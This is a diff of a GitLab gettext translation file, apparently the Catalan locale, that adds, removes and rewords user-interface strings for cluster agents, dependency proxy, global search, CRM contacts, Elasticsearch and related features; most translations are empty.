msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr "Etiqueta"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr "Nom del directori"
msgid "Disable"
msgstr "Desactiva"
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr "Domini"
@@ -12289,9 +12509,6 @@ msgstr "Vots negatius"
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr "Edita l'aplicació"
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr "Com ho puc resoldre-ho?"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr "Explora els projectes"
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr "Enrere"
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr "Identitats"
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
